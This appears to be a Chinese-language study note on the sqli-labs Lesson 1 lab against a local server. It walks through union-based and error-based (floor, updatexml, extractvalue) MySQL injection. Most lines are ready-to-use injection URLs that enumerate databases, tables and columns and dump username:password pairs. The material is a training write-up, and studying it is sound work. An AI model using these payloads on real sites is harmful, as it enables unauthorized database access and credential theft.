0x01字符注入
今天是第一天的学习sqli-labs
Lesson1:字符型注入
首先测试一下 ' 发现报错 然后 ''发现 不报错 这种大概率就是字符注入了
接下来我们进行列查询 查询语句
http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23
发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句
查看当前数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23
查看所有数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23
接下来数据库名称得到以后我们要进行获取表名 操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功
对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
可以看见里面有username password这些关键字 我们就可以爆字段了
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
成功爆出字段usernamepassword字段名 0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
0x02手工报错型注入
既然讲到这里 我们就来讲一下报错类型有些什么?
以下学习来自大佬
1、通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
注:输出字符长度限制为64个字符
payload填sql语句
2、通过updatexml报错
and updatexml(1,payload,1) and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位
3、通过ExtractValue报错
and extractvalue(1, payload) and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))
我们简单的了解了报错型手工注入之后我们来进行实战
先要检查报错类型的payload
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23 ///并未报错 http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///报错了
证明确实存在手工报错型注入,
爆表的payload 这里我们运用的是上面的报错的方法的第二种
127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
可以看见成功爆出表名 接下来我们进行列名的爆破
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23
这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23
接下里就是爆值的操作
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23
同样使用not in显示其他值
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23
sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿
切记 少就是多 快就是慢哦~~